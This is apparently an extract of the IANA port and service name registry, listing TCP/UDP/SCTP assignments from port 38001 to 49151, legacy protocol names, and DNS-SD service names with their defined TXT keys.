38001 udp Reserved
cresco-control 38002 tcp Cresco Controller [UofK] [Cody_Bumgardner] 2014-11-21
crescoctrl-disc 38002 udp Cresco Controller Discovery [UofK] [Cody_Bumgardner] 2014-11-21
38003-38200 Unassigned
galaxy7-data 38201 tcp Galaxy7 Data Tunnel [Tatham_Oddie] [Tatham_Oddie] 2002-09
galaxy7-data 38201 udp Galaxy7 Data Tunnel [Tatham_Oddie] [Tatham_Oddie] 2002-09
fairview 38202 tcp Fairview Message Service [Jim_Lyle] [Jim_Lyle] 2005-11 Defined TXT keys: DevID=<device id>, DevType=<device type>,
DevStat=<device status>
fairview 38202 udp Fairview Message Service [Jim_Lyle] [Jim_Lyle] 2005-11 Defined TXT keys: DevID=<device id>, DevType=<device type>,
DevStat=<device status>
agpolicy 38203 tcp AppGate Policy Server [Martin_Forssen] [Martin_Forssen] 2004-11
agpolicy 38203 udp AppGate Policy Server [Martin_Forssen] [Martin_Forssen] 2004-11
38204-38411 Unassigned
38412 tcp Reserved
38412 udp Reserved
ng-control 38412 sctp NG Control Plane (3GPP) [Luis_Lopes] [Luis_Lopes] 2017-05-18 2017-05-19
38413-38421 Unassigned
38422 tcp Reserved
38422 udp Reserved
xn-control 38422 sctp Xn Control Plane (3GPP) [Luis_Lopes] [Luis_Lopes] 2017-05-18 2017-05-19
38423-38461 Unassigned
38462 tcp Reserved
38462 udp Reserved
e1-interface 38462 sctp E1 signalling transport [Huawei_Technologies_France] [Yang_Xudong][Issam_Toufik] 2018-11-06 2018-11-15
(3GPP)
38463-38471 Unassigned
38472 tcp Reserved
38472 udp Reserved
f1-control 38472 sctp F1 Control Plane (3GPP) [Luis_Lopes] [Luis_Lopes] 2017-06-23
38473-38799 Unassigned
Sruth is a service for the
distribution of routinely-
generated but arbitrary
files based on a
sruth 38800 tcp publish/subscribe [University_Corporation_for_Atmospheric_Research] [Steven_Emmerson] 2012-05-07
distribution model and
implemented using a
peer-to-peer transport
mechanism
38800 udp Reserved
38801-38864 Unassigned
Security approval process
secrmmsafecopya 38865 tcp for use of the secRMM [Squadra_Technologies] [Anthony_LaMark] 2012-03-14
SafeCopy program
38865 udp Reserved
38866-39680 Unassigned
turbonote-1 39681 tcp TurboNote Default Port [Peter_Hyde] [Peter_Hyde]
turbonote-1 39681 udp TurboNote Default Port [Peter_Hyde] [Peter_Hyde]
39682-39999 Unassigned
safetynetp 40000 tcp SafetyNET p [Roland_Rupp] [Roland_Rupp] 2006-11
safetynetp 40000 udp SafetyNET p [Roland_Rupp] [Roland_Rupp] 2006-11
40001-40022 Unassigned
40023 tcp Reserved
k-patentssensor 40023 udp K-PatentsSensorInformation [K-Patents_Oy] [Saku_Lahteenmaki] 2015-12-02 2017-05-12
40024-40403 Unassigned
sptx 40404 tcp Simplify Printing TX [Tricerat] [Eric_Musgrave] 2013-12-09
40404 udp Reserved
40405-40840 Unassigned
cscp 40841 tcp CSCP [Michael_Dodge] [Michael_Dodge]
cscp 40841 udp CSCP [Michael_Dodge] [Michael_Dodge]
csccredir 40842 tcp CSCCREDIR [Sudhir_Menon] [Sudhir_Menon]
csccredir 40842 udp CSCCREDIR [Sudhir_Menon] [Sudhir_Menon]
csccfirewall 40843 tcp CSCCFIREWALL [Sudhir_Menon] [Sudhir_Menon]
csccfirewall 40843 udp CSCCFIREWALL [Sudhir_Menon] [Sudhir_Menon]
40844-40852 Unassigned
40853 tcp Reserved
ortec-disc 40853 udp ORTEC Service Discovery [Jesse_Ursery] [Jesse_Ursery] 2010-11-22
40854-41110 Unassigned
fs-qos 41111 tcp Foursticks QoS Protocol [Chee_Kent_Lam] [Chee_Kent_Lam] 2002-04
fs-qos 41111 udp Foursticks QoS Protocol [Chee_Kent_Lam] [Chee_Kent_Lam] 2002-04
41112-41120 Unassigned
tentacle 41121 tcp Tentacle Server [Sancho_Lerena] [Sancho_Lerena] 2009-06-02
41121 udp Reserved
41122-41229 Unassigned
z-wave-s 41230 tcp Z-Wave Protocol over SSL/TLS [Sigma_Designs_3] [Anders_Brandt_4] 2015-06-26
z-wave-s 41230 udp Z-Wave Protocol over DTLS [Sigma_Designs_3] [Anders_Brandt_4] 2015-06-26
41231-41793 Unassigned
crestron-cip 41794 tcp Crestron Control Port [Ed_Ranney] [Ed_Ranney] 2003-01
crestron-cip 41794 udp Crestron Control Port [Ed_Ranney] [Ed_Ranney] 2003-01
crestron-ctp 41795 tcp Crestron Terminal Port [Ed_Ranney] [Ed_Ranney] 2003-01
crestron-ctp 41795 udp Crestron Terminal Port [Ed_Ranney] [Ed_Ranney] 2003-01
crestron-cips 41796 tcp Crestron Secure Control Port [Crestron_Electronics] [Manish_Talreja] 2012-06-27
41796 udp Reserved
crestron-ctps 41797 tcp Crestron Secure Terminal [Crestron_Electronics] [Manish_Talreja] 2012-06-27
Port
41797 udp Reserved
Unauthorized
41798-42507 Unassigned Use Known on
port 42000
candp 42508 tcp Computer Associates network [Jon_Press] [Jon_Press] 2005-09
discovery protocol
candp 42508 udp Computer Associates network [Jon_Press] [Jon_Press] 2005-09
discovery protocol
candrp 42509 tcp CA discovery response [Jon_Press] [Jon_Press] 2005-08
candrp 42509 udp CA discovery response [Jon_Press] [Jon_Press] 2005-08
caerpc 42510 tcp CA eTrust RPC [Jon_Press] [Jon_Press] 2005-08
caerpc 42510 udp CA eTrust RPC [Jon_Press] [Jon_Press] 2005-08
42511-42999 Unassigned
recvr-rc 43000 tcp Receiver Remote Control [Research_Electronics_International] [Ross_Binkley] 2012-12-20
recvr-rc-disc 43000 udp Receiver Remote Control [Research_Electronics_International] [Ross_Binkley] 2012-12-20
Discovery
43001-43187 Unassigned
reachout 43188 tcp REACHOUT [Roman_Kriis] [Roman_Kriis]
reachout 43188 udp REACHOUT [Roman_Kriis] [Roman_Kriis]
ndm-agent-port 43189 tcp NDM-AGENT-PORT [Roman_Kriis] [Roman_Kriis]
ndm-agent-port 43189 udp NDM-AGENT-PORT [Roman_Kriis] [Roman_Kriis]
ip-provision 43190 tcp IP-PROVISION [Roman_Kriis] [Roman_Kriis]
ip-provision 43190 udp IP-PROVISION [Roman_Kriis] [Roman_Kriis]
noit-transport 43191 tcp Reconnoiter Agent Data [Theo_Schlossnagle] [Theo_Schlossnagle] 2009-05-19
Transport
43191 udp Reserved
43192-43209 Unassigned
shaperai 43210 tcp Shaper Automation Server [Shaper_Automation] [Yohann_Sulaiman] 2012-06-22
Management
shaperai-disc 43210 udp Shaper Automation Server [Shaper_Automation] [Yohann_Sulaiman] 2012-06-22
Management Discovery
43211-43437 Unassigned
43438 tcp Reserved
hmip-routing 43438 udp HmIP LAN Routing [eQ-3_Entwicklung_GmbH] [Tido_de_Vries] 2018-02-28
eq3-update 43439 tcp EQ3 firmware update [eQ-3_Entwicklung_GmbH] [Tido_de_Vries] 2012-02-10 2014-05-09
eq3-config 43439 udp EQ3 discovery and [eQ-3_Entwicklung_GmbH] [Tido_de_Vries] 2012-02-10 2014-05-09
configuration
ew-mgmt 43440 tcp Cisco EnergyWise Management
ew-disc-cmd 43440 udp Cisco EnergyWise Discovery [John_Parello] [John_Parello] 2009-05-19
and Command Flooding
ciscocsdb 43441 tcp Cisco NetMgmt DB Ports [Cisco_Systems] [Cisco_Systems] 2005-11
ciscocsdb 43441 udp Cisco NetMgmt DB Ports [Cisco_Systems] [Cisco_Systems] 2005-11
43442-44122 Unassigned
z-wave-tunnel 44123 tcp Z-Wave Secure Tunnel [Sigma_Designs_Inc] [Anders_Brandt_3] 2012-10-12 2015-06-26
44123 udp Reserved
44124-44320 Unassigned
pmcd 44321 tcp PCP server (pmcd) [Ken_McDonell] [Ken_McDonell] 2010-12-20
pmcd 44321 udp PCP server (pmcd) [Ken_McDonell] [Ken_McDonell] 2010-12-20
pmcdproxy 44322 tcp PCP server (pmcd) proxy [Ken_McDonell] [Ken_McDonell] 2003-07 2010-12-20
pmcdproxy 44322 udp PCP server (pmcd) proxy [Ken_McDonell] [Ken_McDonell] 2003-07 2010-12-20
pmwebapi 44323 tcp HTTP binding for Performance [Performance_Co-Pilot_PCP_Project] [Ken_McDonell_2] 2013-10-09
Co-Pilot client API
44323 udp Unassigned "pcp" assignment withdrawn, moved to port 5351 per RFC6887
44324-44443 Unassigned
cognex-dataman 44444 tcp Cognex DataMan Management [Cognex] [Mario_Joussen] 2012-08-28
Protocol
44444 udp Reserved
Known
UNAUTHORIZED
44445-44543 Unassigned USE: Ports
44515 &
44516
44544 tcp Reserved
domiq 44544 udp DOMIQ Building Automation [DOMIQ_Sp_zoo] [Filip_Zawadiak] 2011-08-29
44545-44552 Unassigned
rbr-debug 44553 tcp REALbasic Remote Debug [Aaron_Ballman] [Aaron_Ballman] 2004-11
rbr-debug 44553 udp REALbasic Remote Debug [Aaron_Ballman] [Aaron_Ballman] 2004-11
44554-44599 Unassigned
44600 tcp Reserved
asihpi 44600 udp AudioScience HPI [Eliot_Blennerhassett] [Eliot_Blennerhassett] 2011-07-07
44601-44817 Unassigned
EtherNet/IP messaging
EtherNet-IP-2 44818 tcp IANA assigned this [Brian_Batke_2] [Brian_Batke_2] New contact added for port 44818 on 2008-02-01
well-formed service name as
a replacement for
"EtherNet/IP-2".
New contact added for port 44818 on 2008-02-01 This entry is
EtherNet/IP-2 44818 tcp EtherNet/IP messaging [Brian_Batke_2] [Brian_Batke_2] an alias to "EtherNet-IP-2". This entry is now historic, not
usable for use with many common service discovery mechanisms.
EtherNet/IP messaging
EtherNet-IP-2 44818 udp IANA assigned this [Brian_Batke_2] [Brian_Batke_2] New contact added for port 44818 on 2008-02-01
well-formed service name as
a replacement for
"EtherNet/IP-2".
New contact added for port 44818 on 2008-02-01 This entry is
EtherNet/IP-2 44818 udp EtherNet/IP messaging [Brian_Batke_2] [Brian_Batke_2] an alias to "EtherNet-IP-2". This entry is now historic, not
usable for use with many common service discovery mechanisms.
44819-44899 Unassigned
M3DA is used for efficient
m3da 44900 tcp machine-to-machine [Eclipse_Foundation] [Didier_Lahay] 2013-02-22
communications
M3DA Discovery is used for
m3da-disc 44900 udp efficient machine-to-machine [Eclipse_Foundation] [Didier_Lahay] 2013-02-22
communications
44901-44999 Unassigned
Nuance AutoStore Status
asmp 45000 tcp Monitoring Protocol (data [Nuance_Communications_Inc4] [Andrew_Andrews] 2011-09-01 2017-04-26
transfer)
Nuance AutoStore Status
asmp-mon 45000 udp Monitoring Protocol (device [Nuance_Communications_Inc4] [Andrew_Andrews] 2011-09-01 2017-04-26
monitoring)
Nuance AutoStore Status
asmps 45001 tcp Monitoring Protocol (secure [Nuance_Communications_Inc4] [Andrew_Andrews] 2011-09-01 2017-04-26
data transfer)
45001 udp Reserved
rs-status 45002 tcp Redspeed Status Monitor [Redspeed_International_Ltd] [Simon_Griffiths] 2015-03-10
45002 udp Reserved
45003-45044 Unassigned
synctest 45045 tcp Remote application control [Eleks_Ltd] [Andriy_Skop] 2013-04-08
protocol
45045 udp Reserved
45046-45053 Unassigned
invision-ag 45054 tcp InVision AG [Matthias_Schroer] [Matthias_Schroer]
invision-ag 45054 udp InVision AG [Matthias_Schroer] [Matthias_Schroer]
45055-45513 Unassigned
cloudcheck 45514 tcp ASSIA CloudCheck WiFi [ASSIA_Inc] [Leonardo_Dagum] 2016-08-29
Management System
cloudcheck-ping 45514 udp ASSIA CloudCheck WiFi [ASSIA_Inc] [Leonardo_Dagum] 2016-08-29
Management keepalive
45515-45677 Unassigned
eba 45678 tcp EBA PRISE [Patrick_Kara] [Patrick_Kara]
eba 45678 udp EBA PRISE [Patrick_Kara] [Patrick_Kara]
45679-45823 Unassigned
dai-shell 45824 tcp Server for the DAI family of [Data_Access_Inc] [Adam_Robinson] 2012-04-30
client-server products
45824 udp Reserved
qdb2service 45825 tcp Qpuncture Data Access [Michael_Yun] [Michael_Yun] 2007-10-24
Service
qdb2service 45825 udp Qpuncture Data Access [Michael_Yun] [Michael_Yun] 2007-10-24
Service
45826-45965 Unassigned
ssr-servermgr 45966 tcp SSRServerMgr [Jeremy_Gilliat] [Jeremy_Gilliat]
ssr-servermgr 45966 udp SSRServerMgr [Jeremy_Gilliat] [Jeremy_Gilliat]
45967-46335 Unassigned
inedo 46336 tcp Listen port used for Inedo [Inedo] [Steve_Dennis] 2016-01-12
agent communication
46336 udp Reserved
46337-46997 Unassigned
Connection between a desktop
spremotetablet 46998 tcp computer or server and a [SOFTPRO_GmbH] [Christoph_Hipp] 2012-07-19 2013-08-02
signature tablet to capture
handwritten signatures
46998 udp Reserved
mediabox 46999 tcp MediaBox Server [Alexander_Graef] [Alexander_Graef] 2004-11
mediabox 46999 udp MediaBox Server [Alexander_Graef] [Alexander_Graef] 2004-11
mbus 47000 tcp Message Bus [Dirk_Kutscher] [Dirk_Kutscher]
mbus 47000 udp Message Bus [Dirk_Kutscher] [Dirk_Kutscher]
winrm 47001 tcp Windows Remote Management [Ryan_Mack] [Ryan_Mack] 2009-04-29
Service
47001 udp Reserved
47002-47099 Unassigned
Configuration of motors
jvl-mactalk 47100 udp connected to Industrial [JVL_Industri_Elektronik] [Kim_Berthelsen] 2012-12-21
Ethernet
47100 tcp Reserved
47101-47556 Unassigned
dbbrowse 47557 tcp Databeam Corporation [Cindy_Martin] [Cindy_Martin]
dbbrowse 47557 udp Databeam Corporation [Cindy_Martin] [Cindy_Martin]
47558-47623 Unassigned
directplaysrvr 47624 tcp Direct Play Server [Ajay_Jindal] [Ajay_Jindal]
directplaysrvr 47624 udp Direct Play Server [Ajay_Jindal] [Ajay_Jindal]
47625-47805 Unassigned
ap 47806 tcp ALC Protocol [Dave_Robin] [Dave_Robin]
ap 47806 udp ALC Protocol [Dave_Robin] [Dave_Robin]
47807 Unassigned
bacnet 47808 tcp Building Automation and [Coleman_Brumley] [Coleman_Brumley] 2011-02-10
Control Networks
bacnet 47808 udp Building Automation and [Coleman_Brumley] [Coleman_Brumley] 2011-02-10
Control Networks
presonus-ucnet 47809 udp PreSonus Universal Control [PreSonus_Audio_Electronics_Inc] [Matthias_Juwan] 2013-07-12
Network Protocol
47809 tcp Reserved
47810-47999 Unassigned
nimcontroller 48000 tcp Nimbus Controller [Carstein_Seeberg_2] [Carstein_Seeberg_2]
nimcontroller 48000 udp Nimbus Controller [Carstein_Seeberg_2] [Carstein_Seeberg_2]
nimspooler 48001 tcp Nimbus Spooler [Carstein_Seeberg_2] [Carstein_Seeberg_2]
nimspooler 48001 udp Nimbus Spooler [Carstein_Seeberg_2] [Carstein_Seeberg_2]
nimhub 48002 tcp Nimbus Hub [Carstein_Seeberg_2] [Carstein_Seeberg_2]
nimhub 48002 udp Nimbus Hub [Carstein_Seeberg_2] [Carstein_Seeberg_2]
nimgtw 48003 tcp Nimbus Gateway [Carstein_Seeberg_2] [Carstein_Seeberg_2]
nimgtw 48003 udp Nimbus Gateway [Carstein_Seeberg_2] [Carstein_Seeberg_2]
nimbusdb 48004 tcp NimbusDB Connector [Stephen_Harrison] [Stephen_Harrison] 2011-01-24
48004 udp Reserved
nimbusdbctrl 48005 tcp NimbusDB Control [Stephen_Harrison] [Stephen_Harrison] 2011-01-24
48005 udp Reserved
48006-48047 Unassigned
juliar 48048 tcp Juliar Programming Language [Juliar] [Andrei_Mak] 2018-02-16
Protocol
48048 udp Reserved
3gpp-cbsp 48049 tcp 3GPP Cell Broadcast Service [Gert_Thomasen] [Gert_Thomasen] 2009-12-07
Protocol
48049 udp Reserved
WeFi Access Network
weandsf 48050 tcp Discovery and Selection [WeFi_Inc] [Eran_Naveh] 2013-07-19
Function
48050 udp Reserved
48051-48127 Unassigned
isnetserv 48128 tcp Image Systems Network [Bengt_Gustafsson] [Bengt_Gustafsson] 2006-05
Services
isnetserv 48128 udp Image Systems Network [Bengt_Gustafsson] [Bengt_Gustafsson] 2006-05
Services
blp5 48129 tcp Bloomberg locator [Albert_Hou] [Albert_Hou] 2006-05
blp5 48129 udp Bloomberg locator [Albert_Hou] [Albert_Hou] 2006-05
48130-48555 Unassigned
com-bardac-dw 48556 tcp com-bardac-dw [Nicholas_J_Howes] [Nicholas_J_Howes]
com-bardac-dw 48556 udp com-bardac-dw [Nicholas_J_Howes] [Nicholas_J_Howes]
48557-48618 Unassigned
iqobject 48619 tcp iqobject [Bjorn_de_Bonnenfant] [Bjorn_de_Bonnenfant] 2003-11
iqobject 48619 udp iqobject [Bjorn_de_Bonnenfant] [Bjorn_de_Bonnenfant] 2003-11
48620-48652 Unassigned
robotraconteur 48653 tcp Robot Raconteur transport [Wason_Technology_LLC] [John_Wason] 2014-01-27
robotraconteur 48653 udp Robot Raconteur transport [Wason_Technology_LLC] [John_Wason] 2014-01-27
48654-48999 Unassigned
matahari 49000 tcp Matahari Broker [Matahari_Project] [Zane_Bitter] 2011-08-31
49000 udp Reserved
nusrp 49001 tcp Nuance Unity Service Request [Nuance_Communications_Inc3] [Andrew_Andrews] 2017-04-20
Protocol
nusdp-disc 49001 udp Nuance Unity Service [Nuance_Communications_Inc3] [Andrew_Andrews] 2017-04-20
Discovery Protocol
49002-49149 Unassigned
inspider 49150 tcp InSpider System [AnRobot] [Zhang_Xinnan] 2017-11-06
49150 udp Reserved
49151 IANA Reserved
argus ARGUS Protocol
arp Address Resolution Protocol
bbn-rcc-mon BBN RCC Monitoring
bootp Bootstrap Protocol
br-sat-mon Backroom SATNET Monitoring
cftp CFTP
chaos CHAOS Protocol
clock DCNET Time Server Protocol
cmot Common Mgmnt Info Ser and
Prot over TCP/IP
cookie-jar Authentication Scheme
dcn-meas DCN Measurement Subsystems
Protocol
dgp Dissimilar Gateway Protocol
dmf-mail Digest Message Format for
Mail
egp Exterior Gateway Protocol
ehf-mail Encoding Header Field for
Mail
emcon Emission Control Protocol
fconfig Fujitsu Config Protocol
ggp Gateway Gateway Protocol
hmp Host Monitoring Protocol
host2-ns Host2 Name Server
icmp Internet Control Message
Protocol
igmp Internet Group Management
Protocol
igp Interior Gateway Protocol
imap2 Interim Mail Access Protocol
version 2
ip Internet Protocol
ipcu Internet Packet Core Utility
ippc Internet Pluribus Packet
Core
ip-arc Internet Protocol on ARCNET
ip-arpa Internet Protocol on ARPANET
ip-cmprs Compressing TCP/IP Headers
ip-dc Internet Protocol on DC
Networks
ip-dvmrp Distance Vector Multicast
Routing Protocol
ip-e Internet Protocol on
Ethernet Networks
ip-ee Internet Protocol on Exp.
Ethernet Nets
ip-fddi Transmission of IP over FDDI
ip-hc Internet Protocol on
Hyperchannnel
ip-ieee Internet Protocol on IEEE
802
ip-ipx Transmission of 802.2 over
IPX Networks
ip-mtu IP MTU Discovery Options
ip-netbios Internet Protocol over
NetBIOS Networks
ip-slip Transmission of IP over
Serial Lines
ip-wb Internet Protocol on
Wideband Network
ip-x25 Internet Protocol on X.25
Networks
irtp Internet Reliable
Transaction Protocol
iso-tp4 ISO Transport Protocol Class
4
larp Locus Address Resoultion
Protocol
leaf-1 Leaf-1 Protocol
leaf-2 Leaf-2 Protocol
loc-srv Location Service
mail Format of Electronic Mail
Messages
merit-inp MERIT Internodal Protocol
mib Management Information Base
mihcs MIH Command Services [RFC5679]
mihes MIH Event Services [RFC5679]
mihis MIH Information Services [RFC5679]
mfe-nsp MFE Network Services
Protocol
mit-subnet MIT Subnet Support
mux Multiplexing Protocol
netblt Bulk Data Transfer Protocol
neted Network Standard Text Editor
netrjs Remote Job Service
nfile A File Access Protocol
nvp-ii Network Voice Protocol
ospf Open Shortest Path First
Interior GW Protocol
pcmail Pcmail Transport Protocol
ppp Point-to-Point Protocol
prm Packet Radio Measurement
pup PUP Protocol
quote Quote of the Day Protocol
rarp A Reverse Address Resolution
Protocol
ratp Reliable Asynchronous
Transfer Protocol
rdp Reliable Data Protocol
rip Routing Information Protocol
rvd Remote Virtual Disk Protocol
sat-expak Satnet and Backroom EXPAK
sat-mon SATNET Monitoring
smi Structure of Management
Information
stp Stream Protocol
sun-rpc SUN Remote Procedure Call
tcp Transmission Control
Protocol
tcp-aco TCP Alternate Checksum
Option
thinwire Thinwire Protocol
tp-tcp ISO Transport Service on top
of the TCP
trunk-1 Trunk-1 Protocol
trunk-2 Trunk-2 Protocol
ucl University College London
Protocol
udp User Datagram Protocol
users Active Users Protocol
via-ftp VIA Systems-File Transfer
Protocol
visa VISA Protocol
vmtp Versatile Message
Transaction Protocol
wb-expak Wideband EXPAK
wb-mon Wideband Monitoring
xnet Cross Net Debugger
xns-idp Xerox NS IDP
1Password Password Manager
1password data sharing and [Roustem_Karimov] [Roustem_Karimov] Defined TXT keys: None
synchronization protocol
a-d-sync Altos Design Synchronization [David_Lasker] [David_Lasker] Defined TXT keys: None
protocol
Applied Biosystems Universal Defined TXT keys: product=<short product name/model>
abi-instrument Instrument Framework [Tor_Slettnes] [Tor_Slettnes] description=<readable name> version=<firmware/instrument
controller version>
accessdata-f2d FTK2 Database Discovery [Rick_Russell] [Rick_Russell] Defined TXT keys: Proprietary
Service
accessdata-f2w FTK2 Backend Processing [Rick_Russell] [Rick_Russell] Defined TXT keys: Proprietary
Agent Service
accessone Strix Systems 5S/AccessOne [Scott_Herscher_2] [Scott_Herscher_2] Defined TXT keys: None
protocol
accountedge MYOB AccountEdge Defined TXT keys: None
acrobatsrv Adobe Acrobat Defined TXT keys: type, path, FeedType
acs-ctl-ds tcp Access Control Device [Honwywell_Security_Group] [John_Dziadosz] 2012-04-09 Defined TXT keys: MAC=, GW-MAC
acs-ctl-ds udp Access Control Device [Honwywell_Security_Group] [John_Dziadosz] 2012-04-09 Defined TXT keys: MAC=, GW-MAC
acs-ctl-gw tcp Access Control Gateway [Honwywell_Security_Group] [John_Dziadosz] 2012-04-09 Defined TXT keys: MAC=, GW-MAC
acs-ctl-gw udp Access Control Gateway [Honwywell_Security_Group] [John_Dziadosz] 2012-04-09 Defined TXT keys: MAC=, GW-MAC
actionitems ActionItems [Sailalong_Software] [Sailalong_Software] Defined TXT keys: None
activeraid Active Storage Proprietary [Skip_Levens] [Skip_Levens] Defined TXT keys: None
Device Management Protocol
Encrypted transport of
activeraid-ssl Active Storage Proprietary [Skip_Levens] [Skip_Levens] Defined TXT keys: None
Device Management Protocol
addressbook Address-O-Matic [Massimiliano_Ribuoli] [Massimiliano_Ribuoli] Defined TXT keys: None
Address Book Server used for
addressbooksrv tcp contacts and calendar [AddressBookServer] [Alexander_Hartner] 2011-10-14 Defined TXT keys: _suffix, _prefix
synchronisation
difusi Cloud based plug &
play network synchronization
adnodes protocol, content pool [DIFUSI_Inc] [Mike_Wright] 2011-11-07 Defined TXT keys: Proprietary
database discovery, and
cloudOS SAaS discovery
protocol.
adobe-shadow tcp Adobe Shadow Server [Adobe_Systems] [Mike_Harris] 2012-04-17 Defined TXT keys: id
adobe-vc Adobe Version Cue Defined TXT keys: txtvers=1, name, version, build
adisk Automatic Disk Discovery [Bob_Bradley_2] [Bob_Bradley_2] Defined TXT keys: sys, dkX
adpro-setup ADPRO Security Device Setup [Patrick_Noffke] [Patrick_Noffke] Defined TXT keys: txtvers, type
aecoretech Apple Application [Hani_Abdelazim] [Hani_Abdelazim] Defined TXT keys: None
Engineering Services
Defined TXT keys: orb_server=<port #> (optional) CORBA ORB
Aeroflex instrumentation and server used for resource discovery product_id=<string>
aeroflex software [David_Hagood] [David_Hagood] (optional) ID of licensed product
txtvers="*IDN?=<identifier>" (optional) as per LXI
specification (for not yet LXI compatible instruments)
aerohive-proxy tcp Aerohive Proxy Configuration [Aerohive_Networks] [Matthew_Gast] 2012-05-31 Defined TXT keys: name, port, username
Service
airdrop tcp Airdrop [Apple_Inc] [Marc_Krochmal_2] 2012-03-02 Defined TXT keys: flags, phash, ehash, cname
airplay tcp Protocol for streaming of [Apple_Inc_2] [Bob_Bradley_3] 2012-09-19 Defined TXT keys: am, cn, et, ft, fv, md, pk, pw, sf, tp, vn,
audio/video content vs
airplay udp Protocol for streaming of [Apple_Inc_2] [Bob_Bradley_3] 2012-09-19 Defined TXT keys: am, cn, et, ft, fv, md, pk, pw, sf, tp, vn,
audio/video content vs
airport AirPort Base Station [Bob_Bradley_2] [Bob_Bradley_2] Defined TXT keys: waMA;
airpreview tcp Coda AirPreview [Panic_Inc] [Cabel_Sasser] 2012-07-19 Defined TXT keys: hasCamera, name, UUID
Defined TXT keys: mac=<MAC address> ip=<IP address>
airprojector AirProjector [Yoshinori_Nakayama] [Yoshinori_Nakayama] note=<Location> use=<Status> mainprog=<Main program version>
bootprog=<Boot program version>
airsharing Air Sharing [Erik_Rogers][Dave_Howell] [Erik_Rogers][Dave_Howell] Defined TXT keys: None
airsharingpro Air Sharing Pro [Erik_Rogers][Dave_Howell] [Erik_Rogers][Dave_Howell] Defined TXT keys: None
alazartech-atn tcp Alazar Technologies ATN [Alazar_Technologies] [Romain_Deterre] 2016-05-26 Defined TXT keys: None
Communication Protocol
aloe-gwp tcp Aloe Gateway Protocol [Layered_Logic] [Brooks_Bell] 2012-01-04 Defined TXT keys: Version
aloe-pp tcp Aloe Pairing Protocol [Layered_Logic] [Brooks_Bell] 2012-01-04 Defined TXT keys: Version, DeviceName, DeviceModel,
DeviceSystem, DeviceSystemVersion, AppName, AppVersion
amba-cam udp Ambarella Cameras [Louis_Sun] [Louis_Sun] Defined TXT keys: product=<product model name>
description=<string name> version=<firmware version>
P2PTapWar Sample Application
amiphd-p2p from "iPhone SDK [Chris_Adamson] [Chris_Adamson] Defined TXT keys: None
Development" Book
ams-htm Proprietary protocol for [AccuMed_Services] [Sam_Carleton_2] 2011-10-20 Defined TXT keys: None
Accu-Med HTM
animolmd Animo License Manager [Phil_Barrett] [Phil_Barrett] Defined TXT keys: None
animobserver Animo Batch Server [Phil_Barrett] [Phil_Barrett] Defined TXT keys: None
Anquet map synchronization
anquetsync between desktop and handheld [Paul_Lesurf] [Paul_Lesurf] Defined TXT keys: Proprietary
devices
antrmai tcp ANT Galio web services [ANT_Software] [Simon_Middleton] 2012-12-06 Defined TXT keys: txtvers, man
anyremote tcp remote control of Linux PCs [Mikhail_Fedotov] [Mikhail_Fedotov] 2014-12-10 Defined TXT keys: None
from Android and J2ME
appelezvous Appelezvous [Marco_Piovanelli] [Marco_Piovanelli] Defined TXT keys: None
apple-ausend Apple Audio Units [James_McCartney] [James_McCartney] Defined TXT keys: None
apple-mobdev tcp Apple Mobile Device Protocol [Apple_2] [Paul_Chinn][Justin_Ko] 2011-10-20 Defined TXT keys: None
apple-midi udp Apple MIDI [Doug_Wyatt] [Doug_Wyatt] Defined TXT keys: None
applerdbg Apple Remote Debug Services [Dave_Springer] [Dave_Springer] Defined TXT keys: None
(OpenGL Profiler)
appletv Apple TV [Amandeep_Jawa_3] [Amandeep_Jawa_3] Defined TXT keys: txtvers, PrVs, OSsi, MniT
appletv-itunes Apple TV discovery of iTunes [Amandeep_Jawa_3] [Amandeep_Jawa_3] Defined TXT keys: txtvers
appletv-pair Apple TV Pairing [Amandeep_Jawa_3] [Amandeep_Jawa_3] Defined TXT keys: txtvers
aquamon AquaMon Defined TXT keys: None
arcnet udp Arcturus Networks Inc. [Arcturus_Networks_Inc] [Michael_Durrant] 2011-10-20 Defined TXT keys: None
Hardware Services
Active Registry Network for
arn tcp distribution of values and [Mictron] [Michael_Wiklund] 2013-10-17 Defined TXT keys: None
streams
aroundsound AroundSound's information [Winzig_LLC] [Around_Sound] 2011-10-20 Defined TXT keys: Proprietary
sharing protocol
protocol for an event-based
aseba tcp architecture for distributed [Mobsya_Association] [S_Magnenat] 2016-08-18 Defined TXT keys: txtvers, type, protovers, ids, pids
control of mobile robots
astnotify udp Asterisk Caller-ID [Sven_Slezak] [Sven_Slezak] Defined TXT keys: prefix=<country code prefix> (numeric,
Notification Service additionally '+')
astralite Astralite [Tongji_University] [Tongji_University] Defined TXT keys: None
async address-o-sync [Markus_Brand] [Markus_Brand] Defined TXT keys: None
atnet udp AT protocol over IP [Selectron_BVBA] [Jan_Verschaeve] 2018-03-20 Defined TXT keys: None
Atlassian Application (JIRA,
atlassianapp Confluence, Fisheye, [Denise_Fernandez] [Denise_Fernandez] Defined TXT keys: app.url
Crucible, Crowd, Bamboo)
discovery service
attero-ad tcp Attero Tech Audio Device [Attero_Tech_LLC] [David_Vaughn] 2015-09-24 Defined TXT keys: txtvers, protovers, CtrlType, Model
attero-ad udp Attero Tech Audio Device [Attero_Tech_LLC] [David_Vaughn] 2015-09-24 Defined TXT keys: txtvers, protovers, CtrlType, Model
audirvana-ap tcp Audirvana Remote Access [Audirvana_SCS] [Damien_Plisson] 2015-07-21 Defined TXT keys: txtvers, protovers
Protocol
autosendimages tcp automatic sending Image data [Canon_Inc_2] [Kazuo_Moritomo] 2017-04-17
protocol
autotargets-ap tcp Access Point for AutoTargets [Automated_Target_Solutions_Inc.] [Nathan_Walker] 2015-12-28 Defined TXT keys: none
system
av Allen Vanguard Hardware [Mike_Bush] [Mike_Bush] Defined TXT keys: Proprietary
Service
TCP SpyChat Stream Message Defined TXT keys: There are two TXT record keys: 1st key:
av-chat-ring-01 tcp Exchange [Alexios_Vasileiadis] [Alexios_Vasileiadis] 2018-05-03 "txt-vers" associated with an 'int' entry. 2nd key:
"conn-stat" associated with an 'int' entry.
avatars tcp Libravatar federated avatar [libravatar_org] [Francois_Marier] 2011-10-11 Defined TXT keys: none
hosting service.
avatars-sec tcp Libravatar federated avatar [libravatar_org] [Francois_Marier] 2011-10-11 Defined TXT keys: none
hosting service.
axis-nvr tcp Axis Network Video Recorders [Axis_Communications_AB] [Erik_Linge] 2018-05-24 Defined TXT keys: None
axis-nvr udp Axis Network Video Recorders [Axis_Communications_AB] [Erik_Linge] 2018-05-24 Defined TXT keys: None
axis-video Axis Video Cameras [Kristina_Sten] [Kristina_Sten] Defined TXT keys: None
